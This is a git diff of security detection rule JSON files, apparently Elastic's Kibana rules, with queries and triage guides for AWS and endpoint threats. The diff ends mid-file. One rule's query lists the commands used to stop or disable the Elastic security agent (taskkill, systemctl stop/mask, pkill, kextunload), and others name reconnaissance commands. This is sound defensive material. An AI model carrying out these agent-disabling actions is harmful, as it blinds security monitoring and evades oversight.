a/packages/security_detection_engine/kibana/security_rule/b1773d05-f349-45fb-9850-287b8f92f02d_3.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects potential resource exhaustion or data breach attempts by monitoring for users who consistently generate high input token counts, submit numerous requests, and receive large responses. This behavior could indicate an attempt to overload the system or extract an unusually large amount of data, possibly revealing sensitive information or causing service disruptions.", - "false_positives": [ - "Authorized heavy usage of the system that is business justified and monitored." - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Potential Abuse of Resources by High Token Count and Large Response Sizes", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Models High Token Count and Large Response Sizes.\n\nAmazon Bedrock is AWS\u2019s managed service that enables developers to build and scale generative AI applications using large foundation models (FMs) from top providers.\n\nBedrock offers a variety of pretrained models from Amazon (such as the Titan series), as well as models from providers like Anthropic, Meta, Cohere, and AI21 Labs.\n\n#### Possible investigation steps\n\n- Identify the user account that used high prompt token counts and whether it should perform this kind of action.\n- Investigate large response sizes and the number of requests made by the user account.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that used high prompt and large response sizes, has a business justification for the heavy usage of the system.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n - Identify potential resource exhaustion and impact on billing.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| keep user.id, gen_ai.usage.prompt_tokens, gen_ai.usage.completion_tokens\n| stats max_tokens = max(gen_ai.usage.prompt_tokens),\n total_requests = count(*),\n avg_response_size = avg(gen_ai.usage.completion_tokens)\n by user.id\n// tokens count depends on specific LLM, as is related to how embeddings are generated.\n| where max_tokens > 5000 and total_requests > 10 and avg_response_size > 500\n| eval risk_factor = (max_tokens / 1000) * total_requests * (avg_response_size / 500)\n| where risk_factor > 10\n| sort risk_factor desc\n", - "references": [ - "https://atlas.mitre.org/techniques/AML.T0051", - "https://owasp.org/www-project-top-10-for-large-language-model-applications/", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 47, - "rule_id": "b1773d05-f349-45fb-9850-287b8f92f02d", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: Amazon Web Services", - "Data Source: AWS S3", - "Use Case: Potential Overload", - "Use Case: Resource Exhaustion", - "Mitre Atlas: LLM04" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 3 - }, - "id": "b1773d05-f349-45fb-9850-287b8f92f02d_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b45ab1d2-712f-4f01-a751-df3826969807_210.json b/packages/security_detection_engine/kibana/security_rule/b45ab1d2-712f-4f01-a751-df3826969807_210.json new file mode 100644 index 00000000000..dad24480fa6 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/b45ab1d2-712f-4f01-a751-df3826969807_210.json @@ -0,0 +1,130 @@ +{ + "attributes": { + "author": [ + "Austin Songer", + "Elastic" + ], + "building_block_type": "default", + "description": "Identifies the use of GetSessionToken API calls by IAM users or Root Account. While this is a common and legitimate operation used to obtain temporary credentials, it also provides adversaries with a method to generate short-lived tokens for stealthy activity. Attackers who compromise IAM user access keys may call GetSessionToken to create temporary credentials, which they can then use to move laterally, escalate privileges, or persist after key rotation. This rule is intended as a BBR to establish patterns of typical STS usage and support correlation with higher-fidelity detections.", + "false_positives": [ + "GetSessionToken is widely used by legitimate automation, CLI users, and administrative scripts to acquire temporary credentials. Frequent, authorized usage is expected in most environments, especially where IAM users authenticate with MFA or use short-lived tokens. Review IAM and CI/CD users, SDKs, and service accounts that regularly perform this action and document them in an allowlist. Suppress or tune accordingly to reduce noise." + ], + "from": "now-6m", + "index": [ + "filebeat-*", + "logs-aws.cloudtrail-*" + ], + "investigation_fields": { + "field_names": [ + "@timestamp", + "user.name", + "user_agent.original", + "source.ip", + "aws.cloudtrail.user_identity.arn", + "aws.cloudtrail.user_identity.type", + "aws.cloudtrail.user_identity.access_key_id", + "event.action", + "event.outcome", + "cloud.account.id", + "cloud.region", + "aws.cloudtrail.request_parameters", + "aws.cloudtrail.response_elements" + ] + }, + "language": "kuery", + "license": "Elastic License v2", + "name": "AWS STS GetSessionToken Usage", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS STS GetSessionToken Usage\n\nAWS Security Token Service (STS) provides temporary credentials for AWS resources, crucial for managing access without long-term credentials. Adversaries may exploit `GetSessionToken` to create temporary credentials, enabling lateral movement and privilege escalation. The detection rule identifies successful `GetSessionToken` requests, flagging potential misuse for further investigation.\n\n#### Possible investigation steps\n- **Establish normal baseline behavior**\n - Use this rule\u2019s data to determine which IAM users or automation scripts routinely perform `GetSessionToken`.\n - Monitor frequency, regions, and user agents (CLI, SDK, console) for each identity over time.\n\n- **Identify anomalies**\n - Look for first-time or rare `GetSessionToken` usage by an IAM user.\n - Detect tokens issued without MFA when MFA is normally required.\n - Identify new or unexpected source IPs, geographies, or user agents (e.g., API calls from unfamiliar networks).\n - Check for multiple temporary tokens minted in rapid succession by the same user or access key.\n\n- **Correlate with downstream activity**\n - Search for immediate follow-on events within 15 minutes of token creation:\n - `AssumeRole` into higher-privileged roles or cross-account roles.\n - Privileged API calls (e.g., `iam:*`, `s3:PutBucketPolicy`, `ec2:CreateSnapshot`).\n - New region access, resource enumeration, or credential operations (`GetCallerIdentity`, `ListUsers`, etc.).\n - Use this correlation to elevate contextual `GetSessionToken` behavior into actionable detections.\n\n### Usage Notes\n- This rule\u2019s telemetry can support hunting queries such as:\n - `GetSessionToken` without `TokenCode` (no MFA)\n - New IP + `GetSessionToken` + `AssumeRole`\n - Rapid token issuance followed by API activity from a new ASN\n\nUse these patterns in combination with related BBRs or detection rules for `AssumeRole` abuse, cross-account access,\nor credential pivoting for more reliable threat detection.\n", + "query": "event.dataset: aws.cloudtrail \n and event.provider: sts.amazonaws.com \n and event.action: GetSessionToken \n and event.outcome: success\n", + "references": [ + "https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html" + ], + "related_integrations": [ + { + "integration": "cloudtrail", + "package": "aws", + "version": "^4.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.dataset", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.outcome", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.provider", + "type": "keyword" + } + ], + "risk_score": 21, + "rule_id": "b45ab1d2-712f-4f01-a751-df3826969807", + "severity": "low", + "tags": [ + "Domain: Cloud", + "Data Source: AWS", + "Data Source: Amazon Web Services", + "Data Source: AWS STS", + "Use Case: Identity and Access Audit", + "Tactic: Privilege Escalation", + "Tactic: Lateral Movement", + "Resources: Investigation Guide", + "Rule Type: BBR" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0004", + "name": "Privilege Escalation", + "reference": "https://attack.mitre.org/tactics/TA0004/" + }, + "technique": [ + { + "id": "T1548", + "name": "Abuse Elevation Control Mechanism", + "reference": "https://attack.mitre.org/techniques/T1548/" + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1550", + "name": "Use Alternate Authentication Material", + "reference": "https://attack.mitre.org/techniques/T1550/", + "subtechnique": [ + { + "id": "T1550.001", + "name": "Application Access Token", + "reference": "https://attack.mitre.org/techniques/T1550/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 210 + }, + "id": "b45ab1d2-712f-4f01-a751-df3826969807_210", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b627cd12-dac4-11ec-9582-f661ea17fbcd_111.json b/packages/security_detection_engine/kibana/security_rule/b627cd12-dac4-11ec-9582-f661ea17fbcd_111.json new file mode 100644 index 00000000000..8c0193a005c --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/b627cd12-dac4-11ec-9582-f661ea17fbcd_111.json @@ -0,0 +1,88 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies the Elastic endpoint agent has stopped and is no longer running on the host. Adversaries may attempt to disable security monitoring tools in an attempt to evade detection or prevention capabilities during an intrusion. This may also indicate an issue with the agent itself and should be addressed to ensure defensive measures are back in a stable state.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Elastic Agent Service Terminated", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Elastic Agent Service Terminated\n\nThe Elastic Agent is a crucial component for monitoring and securing endpoints across various operating systems. It ensures continuous security oversight by collecting and analyzing data. Adversaries may attempt to disable this agent to evade detection, compromising system defenses. The detection rule identifies suspicious termination activities by monitoring specific processes and commands across Windows, Linux, and macOS, flagging potential defense evasion attempts.\n\n### Possible investigation steps\n\n- Review the event logs to identify the exact process and command used to terminate the Elastic Agent, focusing on the process names and arguments such as \"net.exe\", \"sc.exe\", \"systemctl\", and \"pkill\" with arguments like \"stop\", \"uninstall\", or \"disable\".\n- Check the timeline of events around the termination to identify any preceding suspicious activities or anomalies that might indicate an adversary's presence or actions.\n- Investigate the user account associated with the process termination to determine if it was authorized or if there are signs of account compromise.\n- Examine the host for any other signs of tampering or compromise, such as unauthorized changes to system configurations or the presence of other malicious processes.\n- Verify the current status of the Elastic Agent on the affected host and attempt to restart it if it is not running, ensuring that security monitoring is restored.\n- Correlate this event with other alerts or logs from the same host or network to identify potential patterns or coordinated attack activities.\n\n### False positive analysis\n\n- Routine maintenance activities may trigger the rule if administrators use commands like systemctl or service to stop the Elastic Agent for updates or configuration changes. To manage this, create exceptions for known maintenance windows or authorized personnel.\n- Automated scripts or deployment tools that temporarily disable the Elastic Agent during software installations or updates can cause false positives. Identify these scripts and whitelist their execution paths or specific arguments.\n- Testing environments where Elastic Agent is frequently started and stopped for development purposes might generate alerts. Exclude these environments by specifying their hostnames or IP addresses in the rule exceptions.\n- Security tools or processes that interact with the Elastic Agent, such as backup solutions or system monitoring tools, might inadvertently stop the service. Review these interactions and adjust the rule to ignore specific process names or arguments associated with these tools.\n- User-initiated actions, such as troubleshooting or system performance optimization, may involve stopping the Elastic Agent. Educate users on the impact of these actions and establish a protocol for notifying the security team when such actions are necessary.\n\n### Response and remediation\n\n- Immediately isolate the affected host from the network to prevent further unauthorized access or potential lateral movement by adversaries.\n- Verify the status of the Elastic Agent on the affected host and attempt to restart the service. If the service fails to restart, investigate potential causes such as corrupted files or missing dependencies.\n- Conduct a thorough review of recent process execution logs on the affected host to identify any unauthorized or suspicious activities that may have led to the termination of the Elastic Agent.\n- If malicious activity is confirmed, perform a comprehensive malware scan and remove any identified threats. Ensure that the host is clean before reconnecting it to the network.\n- Review and update endpoint security configurations to prevent unauthorized termination of security services. This may include implementing stricter access controls or using application whitelisting.\n- Escalate the incident to the security operations team for further analysis and to determine if additional hosts are affected or if there is a broader security incident underway.\n- Document the incident, including all actions taken and findings, to enhance future response efforts and update incident response plans as necessary.", + "query": "process where\n/* net, sc or wmic stopping or deleting Elastic Agent on Windows */\n(event.type == \"start\" and\n process.name : (\"net.exe\", \"sc.exe\", \"wmic.exe\",\"powershell.exe\",\"taskkill.exe\",\"PsKill.exe\",\"ProcessHacker.exe\") and\n process.args : (\"stopservice\",\"uninstall\", \"stop\", \"disabled\",\"Stop-Process\",\"terminate\",\"suspend\") and\n process.args : (\"elasticendpoint\", \"Elastic Agent\",\"elastic-agent\",\"elastic-endpoint\"))\nor\n/* service or systemctl used to stop Elastic Agent on Linux */\n(event.type == \"end\" and\n (process.name in (\"systemctl\", \"service\", \"chkconfig\", \"update-rc.d\") and\n process.args : (\"elastic-agent\", \"elastic-agent.service\") and\n process.args : (\"stop\", \"disable\", \"remove\", \"off\", \"kill\", \"mask\"))\n or\n /* pkill , killall used to stop Elastic Agent on Linux */\n ( event.type == \"end\" and process.name in (\"pkill\", \"killall\", \"kill\") and process.args: \"elastic-agent\")\n or\n /* Unload Elastic Agent extension on MacOS */\n (process.name : \"kextunload\" and\n process.args : \"com.apple.iokit.EndpointSecurity\" and\n event.action : \"end\"))\n", + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "event.action", + "type": "keyword" + }, + { + "ecs": true, + "name": "event.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.args", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.name", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "b627cd12-dac4-11ec-9582-f661ea17fbcd", + "setup": "## Setup\n\nIf enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2,\nevents will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2.\nHence for this rule to work effectively, users will need to add a custom ingest pipeline to populate\n`event.ingested` to @timestamp.\nFor more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html\n", + "severity": "medium", + "tags": [ + "Domain: Endpoint", + "OS: Linux", + "OS: Windows", + "OS: macOS", + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Data Source: Elastic Defend", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1562", + "name": "Impair Defenses", + "reference": "https://attack.mitre.org/techniques/T1562/", + "subtechnique": [ + { + "id": "T1562.001", + "name": "Disable or Modify Tools", + "reference": "https://attack.mitre.org/techniques/T1562/001/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 111 + }, + "id": "b627cd12-dac4-11ec-9582-f661ea17fbcd_111", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b81bd314-db5b-4d97-82e8-88e3e5fc9de5_3.json b/packages/security_detection_engine/kibana/security_rule/b81bd314-db5b-4d97-82e8-88e3e5fc9de5_3.json deleted file mode 100644 index f6794a3d661..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/b81bd314-db5b-4d97-82e8-88e3e5fc9de5_3.json +++ /dev/null @@ -1,88 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "building_block_type": "default", - "description": "Enrich process events with uname and other command lines that imply Linux system information discovery.", - "from": "now-119m", - "index": [ - "logs-endpoint.events.*", - "endgame-*", - "auditbeat-*", - "logs-auditd_manager.auditd-*" - ], - "interval": "60m", - "language": "eql", - "license": "Elastic License v2", - "name": "Linux System Information Discovery", - "query": "process where event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\") and (\n process.name: \"uname\" or (\n process.name: (\"cat\", \"more\", \"less\") and process.args: (\"*issue*\", \"*version*\", \"*profile*\", \"*services*\", \"*cpuinfo*\")\n )\n)\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "auditd_manager", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "b81bd314-db5b-4d97-82e8-88e3e5fc9de5", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Discovery", - "Rule Type: BBR", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Data Source: Auditd Manager" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1082", - "name": "System Information Discovery", - "reference": "https://attack.mitre.org/techniques/T1082/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 3 - }, - "id": "b81bd314-db5b-4d97-82e8-88e3e5fc9de5_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_2.json b/packages/security_detection_engine/kibana/security_rule/b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_2.json deleted file mode 100644 index bcd6a10dfe6..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_2.json +++ /dev/null @@ -1,93 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "building_block_type": "default", - "description": "Identifies the execution of Linux built-in commands related to account or group enumeration. Adversaries may use account and group information to orient themselves before deciding how to act.", - "from": "now-119m", - "index": [ - "logs-endpoint.events.*", - "endgame-*", - "auditbeat-*", - "logs-auditd_manager.auditd-*" - ], - "interval": "60m", - "language": "eql", - "license": "Elastic License v2", - "name": "Discovery of Domain Groups", - "query": "process where host.os.type == \"linux\" and event.type == \"start\" and event.action in (\"exec\", \"exec_event\", \"executed\", \"process_started\")\n and (\n process.name in (\"ldapsearch\", \"dscacheutil\") or (process.name == \"dscl\" and process.args : \"*-list*\")\n)\n", - "related_integrations": [ - { - "package": "endpoint", - "version": "^8.2.0" - }, - { - "package": "auditd_manager", - "version": "^1.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "host.os.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.args", - "type": "keyword" - }, - { - "ecs": true, - "name": "process.name", - "type": "keyword" - } - ], - "risk_score": 21, - "rule_id": "b92d5eae-70bb-4b66-be27-f98ba9d0ccdc", - "severity": "low", - "tags": [ - "Domain: Endpoint", - "OS: Linux", - "Use Case: Threat Detection", - "Tactic: Discovery", - "Rule Type: BBR", - "Data Source: Elastic Defend", - "Data Source: Elastic Endgame", - "Data Source: Auditd Manager" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0007", - "name": "Discovery", - "reference": "https://attack.mitre.org/tactics/TA0007/" - }, - "technique": [ - { - "id": "T1069", - "name": "Permission Groups Discovery", - "reference": "https://attack.mitre.org/techniques/T1069/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 2 - }, - "id": "b92d5eae-70bb-4b66-be27-f98ba9d0ccdc_2", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bb9b13b2-1700-48a8-a750-b43b0a72ab69_207.json b/packages/security_detection_engine/kibana/security_rule/bb9b13b2-1700-48a8-a750-b43b0a72ab69_207.json deleted file mode 100644 index e9f01e38e07..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/bb9b13b2-1700-48a8-a750-b43b0a72ab69_207.json +++ /dev/null @@ -1,97 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies disabling of Amazon Elastic Block Store (EBS) encryption by default in the current region. Disabling encryption by default does not change the encryption status of your existing volumes.", - "false_positives": [ - "Disabling encryption may be done by a system or network administrator. Verify whether the user identity, user agent, and/or hostname should be making changes in your environment. Disabling encryption by unfamiliar users or hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS EC2 Encryption Disabled", - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating AWS EC2 Encryption Disabled\n\nAmazon EC2's EBS encryption ensures data at rest is secure by default. Disabling this feature can expose sensitive data, making it vulnerable to unauthorized access. Adversaries might exploit this by disabling encryption to access or manipulate data without detection. The detection rule monitors CloudTrail logs for successful attempts to disable EBS encryption, alerting security teams to potential misuse.\n\n### Possible investigation steps\n\n- Review the CloudTrail logs for the specific event.action: DisableEbsEncryptionByDefault to identify the user or role that initiated the action.\n- Check the event.provider: ec2.amazonaws.com logs to gather additional context about the environment and any related activities around the time of the event.\n- Investigate the IAM policies and permissions associated with the user or role to determine if they have the necessary permissions to disable EBS encryption and if those permissions are appropriate.\n- Assess the event.outcome: success to confirm that the action was completed successfully and identify any subsequent actions taken by the same user or role.\n- Examine the AWS account's security settings and configurations to ensure that no other security features have been altered or disabled.\n- Contact the user or team responsible for the action to understand the rationale behind disabling EBS encryption and verify if it aligns with organizational policies.\n\n### False positive analysis\n\n- Routine administrative actions may trigger alerts if encryption is disabled for testing or configuration purposes. To manage this, create exceptions for specific IAM roles or users known to perform these tasks regularly.\n- Automated scripts or tools that disable encryption for specific workflows might cause false positives. Identify these scripts and exclude their associated actions from triggering alerts by using specific tags or identifiers.\n- Changes in regional settings or policies that temporarily disable encryption could be misinterpreted as threats. Monitor these changes and adjust the detection rule to account for legitimate policy updates.\n- Scheduled maintenance or updates that require temporary encryption disabling should be documented and excluded from alerts by setting time-based exceptions during known maintenance windows.\n\n### Response and remediation\n\n- Immediately isolate the affected EC2 instances to prevent further unauthorized access or data manipulation. This can be done by modifying security group rules or network ACLs to restrict access.\n- Re-enable EBS encryption by default in the affected region to ensure that all new volumes are encrypted. This can be done through the AWS Management Console or AWS CLI.\n- Conduct a thorough review of recent changes in the AWS environment to identify any unauthorized modifications or access patterns. Focus on CloudTrail logs for any suspicious activity related to EBS encryption settings.\n- Notify the security operations team and relevant stakeholders about the incident, providing them with details of the alert and any initial findings.\n- Implement additional monitoring and alerting for any future attempts to disable EBS encryption by default, ensuring that security teams are promptly notified of similar activities.\n- Review and update IAM policies to ensure that only authorized personnel have the necessary permissions to modify EBS encryption settings, reducing the risk of accidental or malicious changes.\n- If any data manipulation is detected, initiate data recovery procedures to restore affected data from backups, ensuring data integrity and availability.", - "query": "event.dataset:aws.cloudtrail and event.provider:ec2.amazonaws.com and event.action:DisableEbsEncryptionByDefault and event.outcome:success\n", - "references": [ - "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html", - "https://awscli.amazonaws.com/v2/documentation/api/latest/reference/ec2/disable-ebs-encryption-by-default.html", - "https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DisableEbsEncryptionByDefault.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "bb9b13b2-1700-48a8-a750-b43b0a72ab69", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS EC2", - "Tactic: Impact", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1565", - "name": "Data Manipulation", - "reference": "https://attack.mitre.org/techniques/T1565/", - "subtechnique": [ - { - "id": "T1565.001", - "name": "Stored Data Manipulation", - "reference": "https://attack.mitre.org/techniques/T1565/001/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 207 - }, - "id": "bb9b13b2-1700-48a8-a750-b43b0a72ab69_207", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_210.json b/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_210.json deleted file mode 100644 index 55b316e1dc1..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/bc0c6f0d-dab0-47a3-b135-0925f0a333bc_210.json +++ /dev/null @@ -1,99 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies attempts to login to AWS as the root user without using multi-factor authentication (MFA). Amazon AWS best practices indicate that the root user should be protected by MFA.", - "false_positives": [ - "Some organizations allow login with the root user without MFA, however, this is not considered best practice by AWS and increases the risk of compromised credentials." - ], - "from": "now-60m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "interval": "10m", - "language": "kuery", - "license": "Elastic License v2", - "name": "AWS Root Login Without MFA", - "note": "## Triage and analysis\n\n### Investigating AWS Root Login Without MFA\n\nMulti-factor authentication (MFA) in AWS is a simple best practice that adds an extra layer of protection on top of your user name and password. With MFA enabled, when a user signs in to an AWS Management Console, they will be prompted for their user name and password, as well as for an authentication code from their AWS MFA device. Taken together, these multiple factors provide increased security for your AWS account settings and resources.\n\nFor more information about using MFA in AWS, access the [official documentation](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa.html).\n\nThe AWS root account is the one identity that has complete access to all AWS services and resources in the account, which is created when the AWS account is created. AWS strongly recommends that you do not use the root user for your everyday tasks, even the administrative ones. Instead, adhere to the best practice of using the root user only to create your first IAM user. Then securely lock away the root user credentials and use them to perform only a few account and service management tasks. Amazon provides a [list of the tasks that require root user](https://docs.aws.amazon.com/general/latest/gr/root-vs-iam.html#aws_tasks-that-require-root).\n\nThis rule looks for attempts to log in to AWS as the root user without using multi-factor authentication (MFA), meaning the account is not secured properly.\n\n#### Possible investigation steps\n\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Examine whether this activity is common in the environment by looking for past occurrences on your logs.\n- Consider the source IP address and geolocation for the calling user who issued the command. Do they look normal for the calling user?\n- Examine the commands, API calls, and data management actions performed by the account in the last 24 hours.\n- Contact the account owner and confirm whether they are aware of this activity.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking access to servers,\nservices, and data accessed by the account in the last 24 hours.\n\n### False positive analysis\n\n- While this activity is not inherently malicious, the root account must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the entire cloud environment.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify the services or servers involved criticality.\n - Work with your IT team to identify and minimize the impact on users.\n - Identify if the attacker is moving laterally and compromising other accounts, servers, or services.\n - Identify if there are any regulatory or legal ramifications related to this activity.\n- Configure multi-factor authentication for the user.\n- Follow security best practices [outlined](https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/) by AWS.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).", - "query": "event.dataset:aws.cloudtrail and event.provider:signin.amazonaws.com and event.action:ConsoleLogin and\n aws.cloudtrail.user_identity.type:Root and\n aws.cloudtrail.console_login.additional_eventdata.mfa_used:false and\n event.outcome:success\n", - "references": [ - "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.40.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.console_login.additional_eventdata.mfa_used", - "type": "boolean" - }, - { - "ecs": false, - "name": "aws.cloudtrail.user_identity.type", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "bc0c6f0d-dab0-47a3-b135-0925f0a333bc", - "setup": "The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", - "severity": "high", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS Route53", - "Use Case: Identity and Access Audit", - "Resources: Investigation Guide", - "Tactic: Privilege Escalation" - ], - "threat": [ - { - "framework": "MITRE 